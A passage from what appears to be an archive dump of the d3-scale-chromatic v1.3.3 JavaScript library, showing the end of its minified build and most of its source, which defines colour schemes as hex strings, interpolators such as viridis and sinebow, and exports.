emeSet1=l,f.schemeSet2=i,f.schemeSet3=p,f.interpolateBrBG=u,f.schemeBrBG=s,f.interpolatePRGn=y,f.schemePRGn=h,f.interpolatePiYG=A,f.schemePiYG=w,f.interpolatePuOr=B,f.schemePuOr=P,f.interpolateRdBu=R,f.schemeRdBu=G,f.interpolateRdGy=Y,f.schemeRdGy=x,f.interpolateRdYlBu=M,f.schemeRdYlBu=g,f.interpolateRdYlGn=v,f.schemeRdYlGn=O,f.interpolateSpectral=S,f.schemeSpectral=C,f.interpolateBuGn=L,f.schemeBuGn=I,f.interpolateBuPu=q,f.schemeBuPu=j,f.interpolateGnBu=_,f.schemeGnBu=D,f.interpolateOrRd=V,f.schemeOrRd=k,f.interpolatePuBuGn=z,f.schemePuBuGn=W,f.interpolatePuBu=F,f.schemePuBu=E,f.interpolatePuRd=J,f.schemePuRd=H,f.interpolateRdPu=N,f.schemeRdPu=K,f.interpolateYlGnBu=T,f.schemeYlGnBu=Q,f.interpolateYlGn=X,f.schemeYlGn=U,f.interpolateYlOrBr=$,f.schemeYlOrBr=Z,f.interpolateYlOrRd=ef,f.schemeYlOrRd=ff,f.interpolateBlues=cf,f.schemeBlues=df,f.interpolateGreens=bf,f.schemeGreens=af,f.interpolateGreys=tf,f.schemeGreys=rf,f.interpolatePurples=of,f.schemePurples=nf,f.interpolateReds=pf,f.schemeReds=lf,f.interpolateOranges=sf,f.schemeOranges=mf,f.interpolateCubehelixDefault=uf,f.interpolateRainbow=function(f){(f<0||f>1)&&(f-=Math.floor(f));var e=Math.abs(f-.5);return wf.h=360*f-100,wf.s=1.5-1.5*e,wf.l=.8-.9*e,wf+""},f.interpolateWarm=hf,f.interpolateCool=yf,f.interpolateSinebow=function(f){var e;return f=(.5-f)*Math.PI,Af.r=255*(e=Math.sin(f))*e,Af.g=255*(e=Math.sin(f+Pf))*e,Af.b=255*(e=Math.sin(f+Bf))*e,Af+""},f.interpolateViridis=Rf,f.interpolateMagma=xf,f.interpolateInferno=Yf,f.interpolatePlasma=gf,Object.defineProperty(f,"__esModule",{value:!0})});
d3-scale-chromatic.js000064400000055063151677265060010474 0ustar00// https://d3js.org/d3-scale-chromatic/ v1.3.3 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-interpolate'), require('d3-color')) :
typeof define === 'function' && define.amd ? define(['exports', 'd3-interpolate', 'd3-color'], factory) :
(factory((global.d3 = global.d3 || {}),global.d3,global.d3));
}(this, (function (exports,d3Interpolate,d3Color) { 'use strict';

function colors(specifier) {
  var n = specifier.length / 6 | 0, colors = new Array(n), i = 0;
  while (i < n) colors[i] = "#" + specifier.slice(i * 6, ++i * 6);
  return colors;
}

var category10 = colors("1f77b4ff7f0e2ca02cd627289467bd8c564be377c27f7f7fbcbd2217becf");

var Accent = colors("7fc97fbeaed4fdc086ffff99386cb0f0027fbf5b17666666");

var Dark2 = colors("1b9e77d95f027570b3e7298a66a61ee6ab02a6761d666666");

var Paired = colors("a6cee31f78b4b2df8a33a02cfb9a99e31a1cfdbf6fff7f00cab2d66a3d9affff99b15928");

var Pastel1 = colors("fbb4aeb3cde3ccebc5decbe4fed9a6ffffcce5d8bdfddaecf2f2f2");

var Pastel2 = colors("b3e2cdfdcdaccbd5e8f4cae4e6f5c9fff2aef1e2cccccccc");

var Set1 = colors("e41a1c377eb84daf4a984ea3ff7f00ffff33a65628f781bf999999");

var Set2 = colors("66c2a5fc8d628da0cbe78ac3a6d854ffd92fe5c494b3b3b3");

var Set3 = colors("8dd3c7ffffb3bebadafb807280b1d3fdb462b3de69fccde5d9d9d9bc80bdccebc5ffed6f");

function ramp(scheme) {
  return d3Interpolate.interpolateRgbBasis(scheme[scheme.length - 1]);
}

var scheme = new Array(3).concat(
  "d8b365f5f5f55ab4ac",
  "a6611adfc27d80cdc1018571",
  "a6611adfc27df5f5f580cdc1018571",
  "8c510ad8b365f6e8c3c7eae55ab4ac01665e",
  "8c510ad8b365f6e8c3f5f5f5c7eae55ab4ac01665e",
  "8c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e",
  "8c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e",
  "5430058c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e003c30",
  "5430058c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e003c30"
).map(colors);

var BrBG = ramp(scheme);

var scheme$1 = new Array(3).concat(
  "af8dc3f7f7f77fbf7b",
  "7b3294c2a5cfa6dba0008837",
  "7b3294c2a5cff7f7f7a6dba0008837",
  "762a83af8dc3e7d4e8d9f0d37fbf7b1b7837",
  "762a83af8dc3e7d4e8f7f7f7d9f0d37fbf7b1b7837",
  "762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b7837",
  "762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b7837",
  "40004b762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b783700441b",
  "40004b762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b783700441b"
).map(colors);

var PRGn = ramp(scheme$1);

var scheme$2 = new Array(3).concat(
  "e9a3c9f7f7f7a1d76a",
  "d01c8bf1b6dab8e1864dac26",
  "d01c8bf1b6daf7f7f7b8e1864dac26",
  "c51b7de9a3c9fde0efe6f5d0a1d76a4d9221",
  "c51b7de9a3c9fde0eff7f7f7e6f5d0a1d76a4d9221",
  "c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221",
  "c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221",
  "8e0152c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221276419",
  "8e0152c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221276419"
).map(colors);

var PiYG = ramp(scheme$2);

var scheme$3 = new Array(3).concat(
  "998ec3f7f7f7f1a340",
  "5e3c99b2abd2fdb863e66101",
  "5e3c99b2abd2f7f7f7fdb863e66101",
  "542788998ec3d8daebfee0b6f1a340b35806",
  "542788998ec3d8daebf7f7f7fee0b6f1a340b35806",
  "5427888073acb2abd2d8daebfee0b6fdb863e08214b35806",
  "5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b35806",
  "2d004b5427888073acb2abd2d8daebfee0b6fdb863e08214b358067f3b08",
  "2d004b5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b358067f3b08"
).map(colors);

var PuOr = ramp(scheme$3);

var scheme$4 = new Array(3).concat(
  "ef8a62f7f7f767a9cf",
  "ca0020f4a58292c5de0571b0",
  "ca0020f4a582f7f7f792c5de0571b0",
  "b2182bef8a62fddbc7d1e5f067a9cf2166ac",
  "b2182bef8a62fddbc7f7f7f7d1e5f067a9cf2166ac",
  "b2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac",
  "b2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac",
  "67001fb2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac053061",
  "67001fb2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac053061"
).map(colors);

var RdBu = ramp(scheme$4);

var scheme$5 = new Array(3).concat(
  "ef8a62ffffff999999",
  "ca0020f4a582bababa404040",
  "ca0020f4a582ffffffbababa404040",
  "b2182bef8a62fddbc7e0e0e09999994d4d4d",
  "b2182bef8a62fddbc7ffffffe0e0e09999994d4d4d",
  "b2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d",
  "b2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d",
  "67001fb2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d1a1a1a",
  "67001fb2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d1a1a1a"
).map(colors);

var RdGy = ramp(scheme$5);

var scheme$6 = new Array(3).concat(
  "fc8d59ffffbf91bfdb",
  "d7191cfdae61abd9e92c7bb6",
  "d7191cfdae61ffffbfabd9e92c7bb6",
  "d73027fc8d59fee090e0f3f891bfdb4575b4",
  "d73027fc8d59fee090ffffbfe0f3f891bfdb4575b4",
  "d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4",
  "d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4",
  "a50026d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4313695",
  "a50026d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4313695"
).map(colors);

var RdYlBu = ramp(scheme$6);

var scheme$7 = new Array(3).concat(
  "fc8d59ffffbf91cf60",
  "d7191cfdae61a6d96a1a9641",
  "d7191cfdae61ffffbfa6d96a1a9641",
  "d73027fc8d59fee08bd9ef8b91cf601a9850",
  "d73027fc8d59fee08bffffbfd9ef8b91cf601a9850",
  "d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850",
  "d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850",
  "a50026d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850006837",
  "a50026d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850006837"
).map(colors);

var RdYlGn = ramp(scheme$7);

var scheme$8 = new Array(3).concat(
  "fc8d59ffffbf99d594",
  "d7191cfdae61abdda42b83ba",
  "d7191cfdae61ffffbfabdda42b83ba",
  "d53e4ffc8d59fee08be6f59899d5943288bd",
  "d53e4ffc8d59fee08bffffbfe6f59899d5943288bd",
  "d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd",
  "d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd",
  "9e0142d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd5e4fa2",
  "9e0142d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd5e4fa2"
).map(colors);

var Spectral = ramp(scheme$8);

var scheme$9 = new Array(3).concat(
  "e5f5f999d8c92ca25f",
  "edf8fbb2e2e266c2a4238b45",
  "edf8fbb2e2e266c2a42ca25f006d2c",
  "edf8fbccece699d8c966c2a42ca25f006d2c",
  "edf8fbccece699d8c966c2a441ae76238b45005824",
  "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45005824",
  "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45006d2c00441b"
).map(colors);

var BuGn = ramp(scheme$9);

var scheme$a = new Array(3).concat(
  "e0ecf49ebcda8856a7",
  "edf8fbb3cde38c96c688419d",
  "edf8fbb3cde38c96c68856a7810f7c",
  "edf8fbbfd3e69ebcda8c96c68856a7810f7c",
  "edf8fbbfd3e69ebcda8c96c68c6bb188419d6e016b",
  "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d6e016b",
  "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d810f7c4d004b"
).map(colors);

var BuPu = ramp(scheme$a);

var scheme$b = new Array(3).concat(
  "e0f3dba8ddb543a2ca",
  "f0f9e8bae4bc7bccc42b8cbe",
  "f0f9e8bae4bc7bccc443a2ca0868ac",
  "f0f9e8ccebc5a8ddb57bccc443a2ca0868ac",
  "f0f9e8ccebc5a8ddb57bccc44eb3d32b8cbe08589e",
  "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe08589e",
  "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe0868ac084081"
).map(colors);

var GnBu = ramp(scheme$b);

var scheme$c = new Array(3).concat(
  "fee8c8fdbb84e34a33",
  "fef0d9fdcc8afc8d59d7301f",
  "fef0d9fdcc8afc8d59e34a33b30000",
  "fef0d9fdd49efdbb84fc8d59e34a33b30000",
  "fef0d9fdd49efdbb84fc8d59ef6548d7301f990000",
  "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301f990000",
  "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301fb300007f0000"
).map(colors);

var OrRd = ramp(scheme$c);

var scheme$d = new Array(3).concat(
  "ece2f0a6bddb1c9099",
  "f6eff7bdc9e167a9cf02818a",
  "f6eff7bdc9e167a9cf1c9099016c59",
  "f6eff7d0d1e6a6bddb67a9cf1c9099016c59",
  "f6eff7d0d1e6a6bddb67a9cf3690c002818a016450",
  "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016450",
  "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016c59014636"
).map(colors);

var PuBuGn = ramp(scheme$d);

var scheme$e = new Array(3).concat(
  "ece7f2a6bddb2b8cbe",
  "f1eef6bdc9e174a9cf0570b0",
  "f1eef6bdc9e174a9cf2b8cbe045a8d",
  "f1eef6d0d1e6a6bddb74a9cf2b8cbe045a8d",
  "f1eef6d0d1e6a6bddb74a9cf3690c00570b0034e7b",
  "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0034e7b",
  "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0045a8d023858"
).map(colors);

var PuBu = ramp(scheme$e);

var scheme$f = new Array(3).concat(
  "e7e1efc994c7dd1c77",
  "f1eef6d7b5d8df65b0ce1256",
  "f1eef6d7b5d8df65b0dd1c77980043",
  "f1eef6d4b9dac994c7df65b0dd1c77980043",
  "f1eef6d4b9dac994c7df65b0e7298ace125691003f",
  "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125691003f",
  "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125698004367001f"
).map(colors);

var PuRd = ramp(scheme$f);

var scheme$g = new Array(3).concat(
  "fde0ddfa9fb5c51b8a",
  "feebe2fbb4b9f768a1ae017e",
  "feebe2fbb4b9f768a1c51b8a7a0177",
  "feebe2fcc5c0fa9fb5f768a1c51b8a7a0177",
  "feebe2fcc5c0fa9fb5f768a1dd3497ae017e7a0177",
  "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a0177",
  "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a017749006a"
).map(colors);

var RdPu = ramp(scheme$g);

var scheme$h = new Array(3).concat(
  "edf8b17fcdbb2c7fb8",
  "ffffcca1dab441b6c4225ea8",
  "ffffcca1dab441b6c42c7fb8253494",
  "ffffccc7e9b47fcdbb41b6c42c7fb8253494",
  "ffffccc7e9b47fcdbb41b6c41d91c0225ea80c2c84",
  "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea80c2c84",
  "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea8253494081d58"
).map(colors);

var YlGnBu = ramp(scheme$h);

var scheme$i = new Array(3).concat(
  "f7fcb9addd8e31a354",
  "ffffccc2e69978c679238443",
  "ffffccc2e69978c67931a354006837",
  "ffffccd9f0a3addd8e78c67931a354006837",
  "ffffccd9f0a3addd8e78c67941ab5d238443005a32",
  "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443005a32",
  "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443006837004529"
).map(colors);

var YlGn = ramp(scheme$i);

var scheme$j = new Array(3).concat(
  "fff7bcfec44fd95f0e",
  "ffffd4fed98efe9929cc4c02",
  "ffffd4fed98efe9929d95f0e993404",
  "ffffd4fee391fec44ffe9929d95f0e993404",
  "ffffd4fee391fec44ffe9929ec7014cc4c028c2d04",
  "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c028c2d04",
  "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c02993404662506"
).map(colors);

var YlOrBr = ramp(scheme$j);

var scheme$k = new Array(3).concat(
  "ffeda0feb24cf03b20",
  "ffffb2fecc5cfd8d3ce31a1c",
  "ffffb2fecc5cfd8d3cf03b20bd0026",
  "ffffb2fed976feb24cfd8d3cf03b20bd0026",
  "ffffb2fed976feb24cfd8d3cfc4e2ae31a1cb10026",
  "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cb10026",
  "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cbd0026800026"
).map(colors);

var YlOrRd = ramp(scheme$k);

var scheme$l = new Array(3).concat(
  "deebf79ecae13182bd",
  "eff3ffbdd7e76baed62171b5",
  "eff3ffbdd7e76baed63182bd08519c",
  "eff3ffc6dbef9ecae16baed63182bd08519c",
  "eff3ffc6dbef9ecae16baed64292c62171b5084594",
  "f7fbffdeebf7c6dbef9ecae16baed64292c62171b5084594",
  "f7fbffdeebf7c6dbef9ecae16baed64292c62171b508519c08306b"
).map(colors);

var Blues = ramp(scheme$l);

var scheme$m = new Array(3).concat(
  "e5f5e0a1d99b31a354",
  "edf8e9bae4b374c476238b45",
  "edf8e9bae4b374c47631a354006d2c",
  "edf8e9c7e9c0a1d99b74c47631a354006d2c",
  "edf8e9c7e9c0a1d99b74c47641ab5d238b45005a32",
  "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45005a32",
  "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45006d2c00441b"
).map(colors);

var Greens = ramp(scheme$m);

var scheme$n = new Array(3).concat(
  "f0f0f0bdbdbd636363",
  "f7f7f7cccccc969696525252",
  "f7f7f7cccccc969696636363252525",
  "f7f7f7d9d9d9bdbdbd969696636363252525",
  "f7f7f7d9d9d9bdbdbd969696737373525252252525",
  "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525",
  "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525000000"
).map(colors);

var Greys = ramp(scheme$n);

var scheme$o = new Array(3).concat(
  "efedf5bcbddc756bb1",
  "f2f0f7cbc9e29e9ac86a51a3",
  "f2f0f7cbc9e29e9ac8756bb154278f",
  "f2f0f7dadaebbcbddc9e9ac8756bb154278f",
  "f2f0f7dadaebbcbddc9e9ac8807dba6a51a34a1486",
  "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a34a1486",
  "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a354278f3f007d"
).map(colors);

var Purples = ramp(scheme$o);

var scheme$p = new Array(3).concat(
  "fee0d2fc9272de2d26",
  "fee5d9fcae91fb6a4acb181d",
  "fee5d9fcae91fb6a4ade2d26a50f15",
  "fee5d9fcbba1fc9272fb6a4ade2d26a50f15",
  "fee5d9fcbba1fc9272fb6a4aef3b2ccb181d99000d",
  "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181d99000d",
  "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181da50f1567000d"
).map(colors);

var Reds = ramp(scheme$p);

var scheme$q = new Array(3).concat(
  "fee6cefdae6be6550d",
  "feeddefdbe85fd8d3cd94701",
  "feeddefdbe85fd8d3ce6550da63603",
  "feeddefdd0a2fdae6bfd8d3ce6550da63603",
  "feeddefdd0a2fdae6bfd8d3cf16913d948018c2d04",
  "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d948018c2d04",
  "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d94801a636037f2704"
).map(colors);

var Oranges = ramp(scheme$q);

var cubehelix = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(300, 0.5, 0.0), d3Color.cubehelix(-240, 0.5, 1.0));

var warm = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(-100, 0.75, 0.35), d3Color.cubehelix(80, 1.50, 0.8));

var cool = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(260, 0.75, 0.35), d3Color.cubehelix(80, 1.50, 0.8));

var c = d3Color.cubehelix();

function rainbow(t) {
  if (t < 0 || t > 1) t -= Math.floor(t);
  var ts = Math.abs(t - 0.5);
  c.h = 360 * t - 100;
  c.s = 1.5 - 1.5 * ts;
  c.l = 0.8 - 0.9 * ts;
  return c + "";
}

var c$1 = d3Color.rgb(),
    pi_1_3 = Math.PI / 3,
    pi_2_3 = Math.PI * 2 / 3;

function sinebow(t) {
  var x;
  t = (0.5 - t) * Math.PI;
  c$1.r = 255 * (x = Math.sin(t)) * x;
  c$1.g = 255 * (x = Math.sin(t + pi_1_3)) * x;
  c$1.b = 255 * (x = Math.sin(t + pi_2_3)) * x;
  return c$1 + "";
}

function ramp$1(range) {
  var n = range.length;
  return function(t) {
    return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))];
  };
}

var viridis = ramp$1(colors("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725"));

var magma = ramp$1(colors("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf"));

var inferno = ramp$1(colors("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4"));

var plasma = ramp$1(colors("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921"));

exports.schemeCategory10 = category10;
exports.schemeAccent = Accent;
exports.schemeDark2 = Dark2;
exports.schemePaired = Paired;
exports.schemePastel1 = Pastel1;
exports.schemePastel2 = Pastel2;
exports.schemeSet1 = Set1;
exports.schemeSet2 = Set2;
exports.schemeSet3 = Set3;
exports.interpolateBrBG = BrBG;
exports.schemeBrBG = scheme;
exports.interpolatePRGn = PRGn;
exports.schemePRGn = scheme$1;
exports.interpolatePiYG = PiYG;
exports.schemePiYG = scheme$2;
exports.interpolatePuOr = PuOr;
exports.schemePuOr = scheme$3;
exports.interpolateRdBu = RdBu;
exports.schemeRdBu = scheme$4;
exports.interpolateRdGy = RdGy;
exports.schemeRdGy = scheme$5;
exports.interpolateRdYlBu = RdYlBu;
exports.schemeRdYlBu = scheme$6;
exports.interpolateRdYlGn = RdYlGn;
exports.schemeRdYlGn = scheme$7;
exports.interpolateSpectral = Spectral;
exports.schemeSpectral = scheme$8;
exports.interpolateBuGn = BuGn;
exports.schemeBuGn = scheme$9;
exports.interpolateBuPu = BuPu;
exports.schemeBuPu = scheme$a;
exports.interpolateGnBu = GnBu;
exports.schemeGnBu = scheme$b;
exports.interpolateOrRd = OrRd;
exports.schemeOrRd = scheme$c;
exports.interpolatePuBuGn = PuBuGn;
exports.schemePuBuGn = scheme$d;
exports.interpolatePuBu = PuBu;
exports.schemePuBu = scheme$e;
exports.interpolatePuRd = PuRd;
exports.schemePuRd = scheme$f;
exports.interpolateRdPu = RdPu;
exports.schemeRdPu = scheme$g;
exports.interpolateYlGnBu = YlGnBu;
exports.schemeYlGnBu = scheme$h;
exports.interpolateYlGn = YlGn;
exports.schemeYlGn = scheme$i;
exports.interpolateYlOrBr = YlOrBr;
exports.schemeYlOrBr = scheme$j;
exports.interpolateYlOrRd = YlOrRd;
exports.schemeYlOrRd = scheme$k;
exports.interpolateBlues = Blues;
exports.schemeBlues = scheme$l;
exports.interpolateGreens = Greens;
exports.schemeGreens = scheme$m;
exports.interpolateGreys = Greys;
exports.schemeGreys = scheme$n;
exports.interpolatePurples = Purples;
